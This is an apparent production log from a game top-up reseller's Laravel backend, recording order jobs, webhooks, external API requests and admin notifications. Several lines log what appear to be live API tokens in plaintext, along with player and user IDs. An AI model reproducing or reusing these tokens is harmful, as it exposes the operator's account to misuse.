[2026-03-24 21:44:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:44:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:44:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"processed":1,"errors":0} 
[2026-03-24 21:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"processed":1,"errors":0} 
[2026-03-24 21:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300} 
[2026-03-24 21:44:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 21:44:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 21:44:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 21:44:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DDQyro6z-1774377702","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:44:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-DDQyro6z-1774377702","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:44:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:44:05] production.ERROR: Order not found or already processed. External ID: ORD-DDQyro6z-1774377702  
[2026-03-24 21:44:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DDQyro6z-1774377702","status":"completed","codes_count":0} 
[2026-03-24 21:44:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cKNQ7-1774377685","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:44:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-cKNQ7-1774377685","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:44:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:44:05] production.ERROR: Order not found or already processed. External ID: ORD-cKNQ7-1774377685  
[2026-03-24 21:44:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cKNQ7-1774377685","status":"completed","codes_count":0} 
[2026-03-24 21:44:57] production.INFO: Constructing job for order: 179426  
[2026-03-24 21:45:00] production.INFO: Executing GetProducts task...  
[2026-03-24 21:45:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:45:00] production.INFO: Executing GetProducts task...  
[2026-03-24 21:45:02] production.INFO: async() رجع: true  
[2026-03-24 21:45:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:45:02] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:45:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:45:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:45:04] production.INFO: Handling job for order: 179426  
[2026-03-24 21:45:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:45:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:45:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=64e1b7dd-4429-482a-add9-14d2ac704872&Player_ID=0994592481  
[2026-03-24 21:45:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=64e1b7dd-4429-482a-add9-14d2ac704872&Player_ID=0994592481","has_body":false} 
[2026-03-24 21:45:04] production.INFO: Operation sent successfully {"operation_id":164301,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Bb0nLc-1774377904","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:45:04"}},"processed_data":{"order_number":"ORD-Bb0nLc-1774377904","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:45:23] production.INFO: Constructing job for order: 179427  
[2026-03-24 21:45:25] production.INFO: Handling job for order: 179427  
[2026-03-24 21:45:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:45:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:45:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/568/params?qty=2500&uuid=8060df85-384f-47a6-b279-8474e27dd609&Player_ID=36139161  
[2026-03-24 21:45:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/568/params?qty=2500&uuid=8060df85-384f-47a6-b279-8474e27dd609&Player_ID=36139161","has_body":false} 
[2026-03-24 21:45:27] production.INFO: Operation sent successfully {"operation_id":164302,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-j1ozJ9FF-1774377926","amount":2.646055000000000045901060730102472007274627685546875,"status":"processing","product":"Higo Amount","game":"HigoChat","notes":[],"created_at":"2026-03-24 21:45:27"}},"processed_data":{"order_number":"ORD-j1ozJ9FF-1774377926","amount":2.646055000000000045901060730102472007274627685546875,"status":"processing","product":"Higo Amount","game":"HigoChat"}} 
[2026-03-24 21:45:37] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1790.0","mainamount":"1790","operation_number":"158774274","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phptugkof3bcn79aZLivHm"}},"user_id":130} 
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:45:39] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:45:39] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18717,"user_id":130,"amount":1790.0,"admins_notified":7} 
[2026-03-24 21:46:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03"} 
[2026-03-24 21:46:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","total_operations":2,"sites_count":2} 
[2026-03-24 21:46:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-Bb0nLc-1774377904"]} 
[2026-03-24 21:46:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 21:46:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:46:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:46:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:46:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"count":1} 
[2026-03-24 21:46:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"count":1} 
[2026-03-24 21:46:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"user_id":1074,"notification_type":"order_approved","reference_id":179426} 
[2026-03-24 21:46:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:46:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:46:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"processed":1,"errors":0} 
[2026-03-24 21:46:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"processed":1,"errors":0} 
[2026-03-24 21:46:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"orders_count":1,"order_ids":["ORD-j1ozJ9FF-1774377926"]} 
[2026-03-24 21:46:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301} 
[2026-03-24 21:46:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bb0nLc-1774377904","operation_id":164301,"orders_count":1} 
[2026-03-24 21:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302} 
[2026-03-24 21:46:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:46:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"processed":0,"errors":0} 
[2026-03-24 21:46:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CtrWd2MoRDiegjjejxJko6ChEo27yceu","execution_time":"2026-03-24 21:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302} 
[2026-03-24 21:46:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 21:46:25] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"158775444","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpor48cb5qr74b6h6JHWR"}},"user_id":1101} 
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:46:27] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:46:27] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18718,"user_id":1101,"amount":1200.0,"admins_notified":7} 
[2026-03-24 21:48:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00"} 
[2026-03-24 21:48:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","total_operations":1,"sites_count":1} 
[2026-03-24 21:48:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j1ozJ9FF-1774377926"]} 
[2026-03-24 21:48:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:48:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:48:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:48:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:48:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"count":1} 
[2026-03-24 21:48:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"count":1} 
[2026-03-24 21:48:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"user_id":1424,"notification_type":"order_approved","reference_id":179427} 
[2026-03-24 21:48:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:48:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:48:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"processed":1,"errors":0} 
[2026-03-24 21:48:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302,"processed":1,"errors":0} 
[2026-03-24 21:48:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BO0R1RYKGYKqPSkHY2b85ouw796Xv85I","execution_time":"2026-03-24 21:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j1ozJ9FF-1774377926","operation_id":164302} 
[2026-03-24 21:48:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1424  
[2026-03-24 21:48:22] production.INFO: Constructing job for order: 179428  
[2026-03-24 21:48:24] production.INFO: Handling job for order: 179428  
[2026-03-24 21:48:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:48:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:48:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=ac7bf2ea-d8a8-469c-9203-8de75227919d&Player_ID=110192261  
[2026-03-24 21:48:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=ac7bf2ea-d8a8-469c-9203-8de75227919d&Player_ID=110192261","has_body":false} 
[2026-03-24 21:48:25] production.INFO: Operation sent successfully {"operation_id":164303,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FWC4fQl-1774378105","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 21:48:25"}},"processed_data":{"order_number":"ORD-FWC4fQl-1774378105","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 21:49:56] production.INFO: Constructing job for order: 179429  
[2026-03-24 21:49:58] production.INFO: Handling job for order: 179429  
[2026-03-24 21:49:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:49:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:49:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ad87a3d6-dc78-4cb8-b88c-24416998ba37&Player_ID=557470092  
[2026-03-24 21:49:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ad87a3d6-dc78-4cb8-b88c-24416998ba37&Player_ID=557470092","has_body":false} 
[2026-03-24 21:49:59] production.INFO: Operation sent successfully {"operation_id":164304,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vfRw7s-1774378199","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:49:59"}},"processed_data":{"order_number":"ORD-vfRw7s-1774378199","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:50:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02"} 
[2026-03-24 21:50:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","total_operations":2,"sites_count":1} 
[2026-03-24 21:50:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-FWC4fQl-1774378105","ORD-vfRw7s-1774378199"]} 
[2026-03-24 21:50:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:50:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 21:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304} 
[2026-03-24 21:50:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 21:50:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:50:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"count":1} 
[2026-03-24 21:50:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"count":1} 
[2026-03-24 21:50:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"user_id":761,"notification_type":"order_approved","reference_id":179428} 
[2026-03-24 21:50:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:50:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:50:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"processed":1,"errors":0} 
[2026-03-24 21:50:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304,"processed":1,"errors":0} 
